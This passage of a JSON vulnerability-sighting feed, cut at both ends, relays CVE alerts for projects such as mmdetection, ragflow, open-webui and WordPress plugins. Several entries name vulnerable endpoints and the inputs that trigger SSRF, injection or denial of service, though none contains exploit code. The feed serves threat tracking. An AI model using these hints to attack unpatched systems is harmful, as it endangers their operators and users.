vulnerability exists in open-mmlab/mmdetection version v3.3.0. The vulnerability is due to the use of the `pickle.loads()` function in the `all_reduce_dict()` distributed training API without proper sanitization. This allows an attacker to execute arbitrary code by broadcasting a malicious payload to the distributed training network.\n\ud83d\udccf Published: 2025-03-20T10:10:03.510Z\n\ud83d\udccf Modified: 2025-03-20T14:36:03.940Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/f7e4fc32-e167-49fb-9fc7-f092b9c27e8a", "creation_timestamp": "2025-03-20T15:18:24.000000Z"}, {"uuid": "7ca839e4-a3ee-4da9-92d6-f19230bfa3e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12375", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8211", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12375\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: A local file inclusion vulnerability was identified in automatic1111/stable-diffusion-webui, affecting version git 82a973c. This vulnerability allows an attacker to read arbitrary files on the system by sending a specially crafted request to the application.\n\ud83d\udccf Published: 2025-03-20T10:10:02.746Z\n\ud83d\udccf Modified: 2025-03-20T14:36:35.294Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/21952043-395f-4cd3-9374-b73ab9612f27", "creation_timestamp": "2025-03-20T15:18:23.000000Z"}, {"uuid": "f17e8bad-a2f5-4622-97c0-7edb5478c8ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12623", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8618", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12623\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The DICOM Support plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'dcm' shortcode in all versions up to, and including, 0.10.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-03-25T07:04:55.620Z\n\ud83d\udccf Modified: 2025-03-25T07:04:55.620Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/d76052f8-34b3-4930-a5bf-182420b07968?source=cve\n2. https://plugins.trac.wordpress.org/browser/dicom-support/trunk/DicomSupport.php#L120\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3257320%40dicom-support&new=3257320%40dicom-support&sfp_email=&sfph_mail=", "creation_timestamp": "2025-03-25T07:23:55.000000Z"}, {"uuid": "6bfbe273-265d-48ae-9c1b-dd0890253b81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12215", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8181", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12215\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: In kedro-org/kedro version 0.19.8, the `pull_package()` API function allows users to download and extract micro packages from the Internet. However, the function `project_wheel_metadata()` within the code path can execute the `setup.py` file inside the tar file, leading to remote code execution (RCE) by running arbitrary commands on the victim's machine.\n\ud83d\udccf Published: 2025-03-20T10:11:39.404Z\n\ud83d\udccf Modified: 2025-03-20T10:11:39.404Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/fad27503-97a4-4933-91d4-96223b8c54d8", "creation_timestamp": "2025-03-20T10:19:18.000000Z"}, {"uuid": "3db0747b-ac1d-45c7-a16a-7f2d827ef59e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12063", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8190", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12063\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: A Denial of Service (DoS) vulnerability exists in the file upload feature of imartinez/privategpt version v0.6.2. The vulnerability is due to improper handling of form-data with a large filename in the file upload request. An attacker can exploit this by sending a payload with an excessively large filename, causing the server to become overwhelmed and unavailable to legitimate users.\n\ud83d\udccf Published: 2025-03-20T10:11:34.263Z\n\ud83d\udccf Modified: 2025-03-20T10:11:34.263Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/7db0091f-cb53-4cde-aad7-7ce491dfd8d9", "creation_timestamp": "2025-03-20T10:19:32.000000Z"}, {"uuid": "e5034346-4b01-4831-930c-485d229c6190", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12779", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8198", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12779\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: A Server-Side Request Forgery (SSRF) vulnerability exists in infiniflow/ragflow version 0.12.0. The vulnerability is present in the `POST /v1/llm/add_llm` and `POST /v1/conversation/tts` endpoints. Attackers can specify an arbitrary URL as the `api_base` when adding an `OPENAITTS` model, and subsequently access the `tts` REST API endpoint to read contents from the specified URL. This can lead to unauthorized access to internal web resources.\n\ud83d\udccf Published: 2025-03-20T10:11:28.705Z\n\ud83d\udccf Modified: 2025-03-20T10:11:28.705Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/3cc748ba-2afb-4bfe-8553-10eb6d6dd4f0", "creation_timestamp": "2025-03-20T10:19:42.000000Z"}, {"uuid": "e8de8ba7-4f65-43f8-8e55-db8f910d59c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12048", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8199", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12048\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: An IDOR (Insecure Direct Object Reference) vulnerability exists in transformeroptimus/superagi version v0.0.14. The application fails to properly check authorization for multiple API endpoints, allowing attackers to view, edit, and delete other users' information without proper authorization. Affected endpoints include but are not limited to /get/project/{project_id}, /get/schedule_data/{agent_id}, /delete/{agent_id}, /get/organisation/{organisation_id}, and /get/user/{user_id}.\n\ud83d\udccf Published: 2025-03-20T10:11:27.726Z\n\ud83d\udccf Modified: 2025-03-20T10:11:27.726Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/6def3e3a-c443-44bb-b20e-3e69b48f37dc", "creation_timestamp": "2025-03-20T10:19:42.000000Z"}, {"uuid": "a13a6447-3499-402c-9b19-0d26ac189284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12057", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8367", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12057\n\ud83d\udd25 CVSS Score: 1.8 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/AU:N/R:U/V:C/RE:M/U:Clear)\n\ud83d\udd39 Description: User credentials (login & password) are inserted into log files when a user tries to authenticate using a version of a Web client that is not compatible with that of the PcVue Web back end.\nBy exploiting this vulnerability, an attacker could retrieve the credentials of a user by accessing the Log File. Successful exploitation of this vulnerability could lead to unauthorized access to the application.\n\ud83d\udccf Published: 2024-12-09T19:08:15.527Z\n\ud83d\udccf Modified: 2025-03-21T15:55:47.995Z\n\ud83d\udd17 References:\n1. https://www.pcvue.com/security/#SB2024-6", "creation_timestamp": "2025-03-21T16:19:28.000000Z"}, {"uuid": "db4696ec-fa21-4d77-bb52-ceee1ccb4b21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12109", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8611", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12109\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Product Labels For Woocommerce (Sale Badges) WordPress plugin before 1.5.9 does not sanitize and escape a parameter before using it in a SQL statement, allowing admins to perform SQL injection attacks\n\ud83d\udccf Published: 2025-03-25T06:00:11.148Z\n\ud83d\udccf Modified: 2025-03-25T06:00:11.148Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/2eca2f88-c843-4794-8cd9-46f17c92753a/", "creation_timestamp": "2025-03-25T06:23:49.000000Z"}, {"uuid": "84eff02f-6c9a-4ffb-8477-18d09a148edd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12682", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8609", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12682\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Smart Maintenance Mode WordPress plugin before 1.5.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-03-25T06:00:11.744Z\n\ud83d\udccf Modified: 2025-03-25T06:00:11.744Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/79d0a139-0fb3-4a4b-ac33-80cbc6cb3831/", "creation_timestamp": "2025-03-25T06:23:47.000000Z"}, {"uuid": "aaaf07c3-5ae5-490b-b34c-7faa30fda8e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12769", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8608", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12769\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Simple Banner  WordPress plugin before 3.0.4 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-03-25T06:00:12.005Z\n\ud83d\udccf Modified: 2025-03-25T06:00:12.005Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/02b5c1a8-cf2a-4378-bfda-84d841d88a18/", "creation_timestamp": "2025-03-25T06:23:46.000000Z"}, {"uuid": "1b0b747b-9e1a-4cc9-b1a7-0059c9e633a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12683", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8808", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12683\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Smart Maintenance Mode WordPress plugin before 1.5.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-03-26T06:00:06.140Z\n\ud83d\udccf Modified: 2025-03-26T06:00:06.140Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/1569ee00-56c3-4a1b-940e-e0256a748675/", "creation_timestamp": "2025-03-26T06:25:17.000000Z"}, {"uuid": "5217c1f9-0b6d-4475-a462-a6994f6782b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12169", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8645", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12169\n\ud83d\udd25 CVSS Score: 8.7 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/R:A)\n\ud83d\udd39 Description: A vulnerability exists in RTU500 IEC 60870-5-104 controlled station functionality and IEC 61850 functionality, that allows an attacker performing a specific attack sequence to restart the affected CMU. This vulnerability only applies, if secure communication using IEC 62351-3 (TLS) is enabled.\n\ud83d\udccf Published: 2025-03-25T12:36:02.457Z\n\ud83d\udccf Modified: 2025-03-25T13:11:20.584Z\n\ud83d\udd17 References:\n1. https://publisher.hitachienergy.com/preview?DocumentId=8DBD000207&languageCode=en&Preview=true", "creation_timestamp": "2025-03-25T13:23:51.000000Z"}, {"uuid": "c95a4fb2-eb4b-4194-83d5-9a8a85d0426b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12386", "type": "seen", "source": "Telegram/FrCx6pu5wuNUy_J5QObHRSbM3JY0FQYEyyxhs9GQ6xHUAPRW", "content": "", "creation_timestamp": "2025-02-20T23:26:55.000000Z"}, {"uuid": "9270f0c5-87ec-410a-a820-3fa40eee81ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1249", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8934", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1249\n\ud83d\udd25 CVSS Score: 7.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H)\n\ud83d\udd39 Description: A flaw was found in Keycloak's OIDC component in the \"checkLoginIframe,\" which allows unvalidated cross-origin messages. This flaw allows attackers to coordinate and send millions of requests in seconds using simple code, significantly impacting the application's availability without proper origin validation for incoming messages.\n\ud83d\udccf Published: 2024-04-17T13:22:48.335Z\n\ud83d\udccf Modified: 2025-03-26T19:24:12.590Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2024:1860\n2. https://access.redhat.com/errata/RHSA-2024:1861\n3. https://access.redhat.com/errata/RHSA-2024:1862\n4. https://access.redhat.com/errata/RHSA-2024:1864\n5. https://access.redhat.com/errata/RHSA-2024:1866\n6. https://access.redhat.com/errata/RHSA-2024:1867\n7. https://access.redhat.com/errata/RHSA-2024:1868\n8. https://access.redhat.com/errata/RHSA-2024:2945\n9. https://access.redhat.com/errata/RHSA-2024:4057\n10. https://access.redhat.com/security/cve/CVE-2024-1249\n11. https://bugzilla.redhat.com/show_bug.cgi?id=2262918", "creation_timestamp": "2025-03-26T19:26:07.000000Z"}, {"uuid": "22093b60-87ff-448f-9407-eb53ea696661", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12619", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9299", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12619\n\ud83d\udd25 CVSS Score: 5.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:N)\n\ud83d\udd39 Description: An issue has been discovered in GitLab CE/EE affecting all versions from 16.0 before 17.8.6, 17.9 before 17.9.3, and 17.10 before 17.10.1, allowing internal users to gain unauthorized access to internal projects.\n\ud83d\udccf Published: 2025-03-28T10:02:13.406Z\n\ud83d\udccf Modified: 2025-03-28T10:02:13.406Z\n\ud83d\udd17 References:\n1. https://gitlab.com/gitlab-org/gitlab/-/issues/509324\n2. https://hackerone.com/reports/2888260", "creation_timestamp": "2025-03-28T10:28:09.000000Z"}, {"uuid": "9c6222f7-cb60-4151-8639-b671480f7bb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12537", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10423", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12537\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: In version 0.3.32 of open-webui/open-webui, the absence of authentication mechanisms allows any unauthenticated attacker to access the `api/v1/utils/code/format` endpoint. If a malicious actor sends a POST request with an excessively high volume of content, the server could become completely unresponsive. This could lead to severe performance issues, causing the server to become unresponsive or experience significant degradation, ultimately resulting in service interruptions for legitimate users.\n\ud83d\udccf Published: 2025-03-20T10:09:10.774Z\n\ud83d\udccf Modified: 2025-04-04T08:45:40.046Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/edabd06c-acc0-428c-a481-271f333755bc", "creation_timestamp": "2025-04-04T09:35:54.000000Z"}, {"uuid": "fbf96947-8554-4a1a-8468-594f1be2830e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12278", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9865", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12278\n\ud83d\udd25 CVSS Score: 7.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Booster for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via any location that typically sanitizes data using wp_kses, like comments, in all versions up to, and including, 7.2.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-04-01T06:52:03.749Z\n\ud83d\udccf Modified: 2025-04-01T06:52:03.749Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/234789db-1440-40ac-83e7-b8afb0ba4b5f?source=cve\n2. https://plugins.trac.wordpress.org/browser/woocommerce-jetpack/trunk/includes/functions/wcj-functions-general.php#L1015\n3. https://plugins.trac.wordpress.org/changeset/3262569/woocommerce-jetpack/trunk/includes/functions/wcj-functions-general.php", "creation_timestamp": "2025-04-01T07:32:16.000000Z"}, {"uuid": "13d02d19-f535-4f27-a714-d86a29cd2c3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12021", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9661", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12021\n\ud83d\udd25 CVSS Score: 8.5 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: Coverity versions prior to 2024.9.0 are vulnerable to stored cross-site scripting (XSS) in various administrative interfaces. The impact of exploitation may result in the compromise of local accounts managed by the Coverity platform as well as other standard impacts resulting from cross-site scripting.\n\ud83d\udccf Published: 2025-03-31T14:00:20.216Z\n\ud83d\udccf Modified: 2025-03-31T14:00:20.216Z\n\ud83d\udd17 References:\n1. https://community.blackduck.com/s/article/Black-Duck-Product-Security-Advisory-CVE-2024-12021", "creation_timestamp": "2025-03-31T14:32:10.000000Z"}, {"uuid": "a8cc5ac9-3825-41a2-aa3c-69eae3f2adce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-25)", "content": "", "creation_timestamp": "2026-04-25T00:00:00.000000Z"}, {"uuid": "544e5ec5-d643-42f1-83d4-980d87f27ede", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9958", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12133\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: A flaw in libtasn1 causes inefficient handling of specific certificate data. When processing a large number of elements in a certificate, libtasn1 takes much longer than expected, which can slow down or even crash the system. This flaw allows an attacker to send a specially crafted certificate, causing a denial of service attack.\n\ud83d\udccf Published: 2025-02-10T15:28:03.193Z\n\ud83d\udccf Modified: 2025-04-01T16:48:00.988Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12133\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2344611\n3. https://gitlab.com/gnutls/libtasn1/-/issues/52", "creation_timestamp": "2025-04-01T17:32:37.000000Z"}, {"uuid": "b69aa91f-ccfb-4991-9771-aca78649420b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12189", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9864", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12189\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The WDesignKit \u2013 Elementor & Gutenberg Starter Templates, Patterns, Cloud Workspace & Widget Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via custom widgets in all versions up to, and including, 1.2.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-04-01T06:52:04.579Z\n\ud83d\udccf Modified: 2025-04-01T06:52:04.579Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/2e936214-ee25-4763-ba7a-b5308cc09a57?source=cve\n2. https://wordpress.org/plugins/wdesignkit/#developers", "creation_timestamp": "2025-04-01T07:32:12.000000Z"}, {"uuid": "1d3061ec-ab08-441f-804c-6f4529c71281", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12097", "type": "seen", "source": "Telegram/UHL0TJKIonORmRgyHs-hZ1z9VuX5d0aMuE4E8UqAWNdn_m6Z", "content": "", "creation_timestamp": "2025-03-06T02:16:32.000000Z"}, {"uuid": "f3ffef57-d8e9-4331-805f-d278b7a364b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-25)", "content": "", "creation_timestamp": "2026-04-25T00:00:00.000000Z"}, {"uuid": "531893de-c547-43be-b0a6-5f0e63c8d933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12410", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10042", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12410\n\ud83d\udd25 CVSS Score: 4.9 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The Front End Users plugin for WordPress is vulnerable to SQL Injection via the 'UserSearchField' parameter in all versions up to, and including, 3.2.32 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-04-02T09:21:44.350Z\n\ud83d\udccf Modified: 2025-04-02T09:21:44.350Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/975ddadd-12f8-4ace-9c1a-489114a2da6a?source=cve\n2. https://plugins.trac.wordpress.org/browser/front-end-only-users/trunk/html/UsersPage.php#L55", "creation_timestamp": "2025-04-02T09:34:24.000000Z"}, {"uuid": "8b374c2a-fb5d-4b9d-929d-a462108bc150", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12450", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10424", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12450\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: In infiniflow/ragflow versions 0.12.0, the `web_crawl` function in `document_app.py` contains multiple vulnerabilities. The function does not filter URL parameters, allowing attackers to exploit Full Read SSRF by accessing internal network addresses and viewing their content through the generated PDF files. Additionally, the lack of restrictions on the file protocol enables Arbitrary File Read, allowing attackers to read server files. Furthermore, the use of an outdated Chromium headless version with --no-sandbox mode enabled makes the application susceptible to Remote Code Execution (RCE) via known Chromium v8 vulnerabilities. These issues are resolved in version 0.14.0.\n\ud83d\udccf Published: 2025-03-20T10:11:05.133Z\n\ud83d\udccf Modified: 2025-04-04T08:45:39.429Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/da06360c-87c3-4ba9-be67-29f6eff9d44a\n2. https://github.com/infiniflow/ragflow/commit/3faae0b2c2f8a26233ee1442ba04874b3406f6e9", "creation_timestamp": "2025-04-04T09:35:55.000000Z"}, {"uuid": "8d2f5f37-6109-442a-a5cb-d0bece4dae42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12254", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10589", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12254\n\ud83d\udd25 CVSS Score: 8.7 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: Starting in Python 3.12.0, the asyncio._SelectorSocketTransport.writelines()\n method would not \"pause\" writing and signal to the Protocol to drain \nthe buffer to the wire once the write buffer reached the \"high-water \nmark\". Because of this, Protocols would not periodically drain the write\n buffer potentially leading to memory exhaustion.\n\n\n\n\n\nThis\n vulnerability likely impacts a small number of users, you must be using\n Python 3.12.0 or later, on macOS or Linux, using the asyncio module \nwith protocols, and using .writelines() method which had new \nzero-copy-on-write behavior in Python 3.12.0 and later. If not all of \nthese factors are true then your usage of Python is unaffected.\n\ud83d\udccf Published: 2024-12-06T15:19:41.576Z\n\ud83d\udccf Modified: 2025-04-04T23:03:00.653Z\n\ud83d\udd17 